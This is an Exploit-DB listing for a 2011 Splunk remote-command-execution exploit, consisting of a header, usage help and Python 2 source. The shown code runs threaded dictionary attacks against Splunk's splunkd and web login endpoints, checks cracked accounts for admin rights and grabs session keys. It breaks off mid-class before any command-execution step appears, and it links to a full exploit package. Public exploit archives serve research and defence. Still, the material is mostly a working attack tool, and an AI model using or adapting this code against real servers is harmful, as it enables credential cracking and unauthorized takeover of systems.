Exploit-DB #18245
Description: Splunk - Remote Command Execution
Type: remote
Platform: multiple
Date: 2011-12-15
Author: Gary O'Leary-Steele

Exploit:
from sec1httplib.requestbuilder import Requestobj
from sec1httplib.thread_dispatcher import *
import threading
import re
import urlparse
import sys
import urllib
import base64
from optparse import OptionParser
import sys


"""
Source: http://www.sec-1.com/blog/?p=233

Splunk remote root exploit.

Author: Gary O'leary-Steele @ Sec-1 Ltd
Date:   5th September 2011
Release date: Private

Full Package: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18245.zip

C:\git\splunk>python splunk_exploit.py -h
Usage: Run splunk_exploit.py -h to see usage options

Options:
  --version          show program's version number and exit
  -h, --help         show this help message and exit
  -t TARGETHOST      IP Address or hostname of target splunk server
  -c                 Generate CSRF URL only
  -w SPLUNKWEB_PORT  The Splunk admin interface port (Default: 8000)
  -d SPLUNKD_PORT    The Splunkd Web API port (Default: 8089)
  -u USERFILE        File containing usernames for use in dictionary attack
  -p PASSFILE        File containing passwords for use in dictionary attack
  -U USERNAME        Admin username (if known)
  -P PASSWORD        Admin pasword (if known)


ToDo: Fix bug when attemping to get home dir

"""

#Set this to use a proxy
#Requestobj.set_proxy("127.0.0.1","8080")

Requestobj.verbose = 0
misc_lock = threading.Lock()

# Counter used in bruteforce
class Counter():
    def __init__(self):
        self.l = threading.Lock()

    def set_total(self,total):
        self.statictotal = total
        self.total = total
    def sub(self):
        with self.l:
            if self.total !=0:
                self.total = self.total - 1
    def print_remaining(self):
        with self.l:
            print "[i] %s of %s remaining" % (self.total,self.statictotal)
counter = Counter()

def request_factory_splunkd(targeturl,username,password,splunk_object):
    "Factory to generate attempt_login functions"
    global counter
    def attempt_login():
        # Dont continue if we already have admin
        if splunk_object.got_admin == 1:
            return False

        login_url = "{0}/services/auth/login".format(targeturl.rstrip())
        r = Requestobj(login_url)
        poststr = "username={0}&password={1}".format(username.rstrip(),password.rstrip())
        r.rawpostdata("POST", poststr)
        result = r.makerequest()
        counter.sub()
        counter.print_remaining()
 

        if result.find_data("Remote login disabled because you are using a free license"):
            print "[i] Free licence in use. No remote login required"
            print "[!] run the exploit again with the -f flag"
            sys.exit()
        
        if result.find_data("sessionKey"):
            print "[***] Cracked: %s:%s\n" % (username.rstrip(),password.rstrip())
            try:
                if splunk_object.user_is_admin(username.rstrip(),password.rstrip()):
                    splunk_object.username = username.rstrip()
                    splunk_object.[CREDENTIAL_REDACTED].rstrip()
                    splunk_object.got_admin =1
                    #print "ADMIN",splunk_object.got_admin
                    splunk_object.session_key = re.findall("<sessionKey>(.+?)</sessionKey>",result.body)[0]
            except Exception as err:
                print "[i] Error getting auth details",err

            return (username,password)
        else:
            pass
    return attempt_login


def request_factory_splunkweb(targeturl,username,password,cval,splunk_object):
    "Factory to generate attempt_login functions"
    global counter

    def attempt_login():
        if splunk_object.got_admin == 1:
            return False

        login_url = "{0}/en-GB/account/login".format(targeturl.rstrip())
        r = Requestobj(login_url)
        poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,username.rstrip(),password.rstrip())
        r.rawpostdata("POST", poststr)
        r.set_custom_cookie(copyglobaljar=1)
        result = r.makerequest()
        counter.sub()
        counter.print_remaining()

            
        if result.find_data("This resource can be found at"):
            print "[***] Cracked: %s:%s" % (username.rstrip(),password.rstrip())
            try:
                if splunk_object.user_is_admin(username.rstrip(),password.rstrip()):
                    splunk_object.username = username.rstrip()
                    splunk_object.[CREDENTIAL_REDACTED].rstrip()
                    splunk_object.got_admin =1
            except Exception as err:
                print "[i] Error getting auth details",err

            return (username,password)
        else:
            pass
    return attempt_login



class SplunkTarget(object):
    def __init__(self,hostaddr,splunkd_port=8089,splunkweb_port=8000):
        
        self.splunkd_port = splunkd_port
        self.splunkweb_port = splunkweb_port
        self.max_threads = 20
        self.username=""
        self.password = ""
        self.session_key =""
        self.splunk_home = ""
        self.got_admin = 0
        self.web_authed = 0 # are we authed to the web interface
        self.freelic =0
        # Check splunkd server
        info = Requestobj("https://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest()
        if info.body:
            self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc)
        else:
            info = Requestobj("http://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest()
            self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc)

        if "server-info" in info.body:
 
            self.splunkd =1
            try: